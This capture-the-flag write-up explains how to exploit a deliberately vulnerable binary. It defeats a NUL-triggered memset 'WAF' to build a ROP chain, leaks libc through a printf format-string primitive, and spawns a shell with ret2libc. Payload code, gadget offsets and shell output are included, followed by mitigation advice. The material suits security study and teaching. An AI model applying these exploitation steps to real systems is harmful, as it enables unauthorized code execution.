waf
The anti-ROP memset zeroes everything after the first NUL — and since we choose both the NUL position and the length, it becomes the tool that writes the chain.
K17{ma_a1n7_pr0uD_0f_me_n0_m0r3} nc chal.secso.cc 4006 · handout: chal, Dockerfile
The banner — “Look ma, I made sure you can’t rop no more.” — names the defense directly. If you’re stuck, start by reading that defense as exactly what it says: something is erasing your ROP chain after you send it. The question to ask is not “how do I get around this,” but “what two things does it need to control in order to erase the right bytes, and are both of those things under my control.”
1. Recon — checksec’s SHSTK/IBT lines are not what they look like
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
PIE: No PIE (0x400000)
NX: NX enabled
SHSTK: Enabled <- decoy
IBT: Enabled <- decoy
SHSTK/IBT reporting “Enabled” looks like it should shut down a ROP approach entirely — shadow stacks, if actually enforced, would make this challenge much harder. But those two lines come from the ELF’s GNU_PROPERTY note, which only reflects the compiler flags the binary was built with (-fcf-protection, Ubuntu GCC’s default). It says nothing about whether the kernel is enforcing CET at runtime, and here it isn’t. This is worth internalizing generally: checksec’s CET fields are a build-time marker, not a runtime guarantee, and should be verified rather than trusted before ruling out ROP.
No libc was shipped, but the Dockerfile pins the same base-image digest as huge binary 1 (debian@sha256:4ffb3a15...), so that libc.so.6 applies here too.
2. Code analysis
main is a REPL:
char buf[80]; // rbp-80
memset(buf, 0, 80); // ten qword stores, cleared inline
do {
puts("Look ma, I made sure you can't rop no more.");
printf(">> ");
__gets(buf);
} while (strncmp(buf, "exit", 4) != 0);
return 0; // leave ; ret
and the hand-rolled __gets:
void __gets(char *buf) {
int n;
if (buf[0] != 0) n = read(0, buf, strlen(buf)); // 2nd+ call: strlen only
else n = read(0, buf, 128); // 1st call: 128 bytes (!)
for (int i = 0; i < n; i++) // <-- this IS the "WAF"
if (buf[i] == 0) { memset(buf + i, 0, n - i); break; }
}
The bug. buf is 80 bytes, but the first call reads up to 128, because main pre-zeroes the buffer and buf[0] == 0 always takes the 128-byte branch on the first prompt. buf+80 is the saved rbp, buf+88 is the return address; writes can reach buf+127.
The “WAF.” After the read, it scans forward for the first NUL byte and zeroes everything from there to the end of what was read. A raw pointer value like 0x4011dd (dd 11 40 00 00 00 00 00) is five-eighths NUL bytes, so pushing a chain in one shot triggers the defense on the first pointer it touches and wipes everything past it.
3. Beating the WAF — turning the memset around
The way in is to treat memset(buf+i, 0, n-i) as a primitive rather than a defense: i is the offset of the first NUL, and n is the number of bytes we sent. Both of those are values we choose.
To place value
val(lengthk) at slotpos, send exactlypos+8bytes with the first NUL atpos+k. The WAF then zeroes precisely[pos+k, pos+8)— the upper bytes of that qword — and never touches anything abovepos+8.
Because the REPL loops, and the second call onward reads strlen(buf) instead of a fixed 128, we write the chain from the highest slot down, one qword per round, letting strlen shrink as we go:
round 1: pos=112, n=120 (<=128) -> strlen becomes 118
round 2: pos=104, n=112 (<=118) -> strlen becomes 110
round 3: pos= 96, n=104 (<=110) -> strlen becomes 102
round 4: pos= 88, n= 96 (<=102), first 4 bytes "exit" -> break -> leave; ret
def round_payload(pos, val, prefix=b'', filler=b'A'):
body = bytearray(filler * pos)
body[:len(prefix)] = prefix
body += val + b'\x00' * (8 - len(val))
assert len(body) == pos + 8 and b'\x00' not in body[:pos + len(val)]
return bytes(body)
Only the final round starts with "exit", so strncmp passes and leave; ret fires the fully-assembled chain.
4. Leaking libc
There is no pop rdi ; ret among the 82 gadgets in the binary. But entering printf@plt directly via ret — instead of call — gives a format-string primitive for free, because rdi still holds buf from the preceding strncmp call.
Argument indices needed to be measured, not assumed: a normally-called function has its stack varargs starting at [rsp+8], because call pushes a return address first. Entering via a bare ret shifts every index by one slot from that baseline. A few %ps confirmed the actual mapping:
%N$ == [buf + 8*N + 56] (N >= 6) -> %6$ = [buf+104]
So: plant puts@got (0x404020) at buf+104, read it back with %6$s, and put main at buf+96 so the REPL restarts once printf returns.
wr(io, 104, p64(0x404020)[:3]) # %6$ -> puts@got
wr(io, 96, p64(0x4012a2)[:3]) # printf's ret -> main
wr(io, 88, p64(0x4010d0)[:3], prefix=b'exitL[%6$s]') # printf(buf)
libc.address = leaked_puts - libc.symbols['puts'] # verified by page alignment
5. Stage 2 — a plain ret2libc
With the libc base known, the same round technique lays down the final chain. (A variant that relies on rdi == buf and calls system(buf) in a single slot also exists, but rdi was not reliably preserved across the second entry, so the pop rdi route was more stable.)
buf+ 88 : pop rdi ; ret (libc + 0x2a145)
buf+ 96 : "/bin/sh" (libc + 0x1a5ea4)
buf+104 : ret (libc + 0x2846b) # movaps alignment
buf+112 : system (libc + 0x53110)
Each slot’s address has only six significant bytes; the round technique supplies the remaining two zero bytes for free.
6. Result
[+] libc base = 0x7f...000
$ id
uid=1000 gid=1000 groups=1000
$ cat /flag
K17{ma_a1n7_pr0uD_0f_me_n0_m0r3}
7. Takeaways
- checksec reporting SHSTK/IBT as “Enabled” says nothing about runtime enforcement — it’s a compiler-flag marker read out of a note section. Don’t rule out ROP on the basis of that line alone; verify separately.
- A defense that “erases everything after a NUL” becomes a tool for writing zeros wherever you want the moment the attacker controls both the erase range (
n) and the NUL’s position (i). Letting both be attacker-controlled is the specific mistake this challenge is built around. - Entering a function through
retinstead ofcallshifts format-string argument indices by exactly one slot. This should be measured with a couple of%ps rather than assumed — a wrong assumption here produces leaks that look almost, but not quite, right, which is harder to debug than an outright crash. - Mitigation: a length-bounded input function (
fgets), stack canaries, and Full RELRO.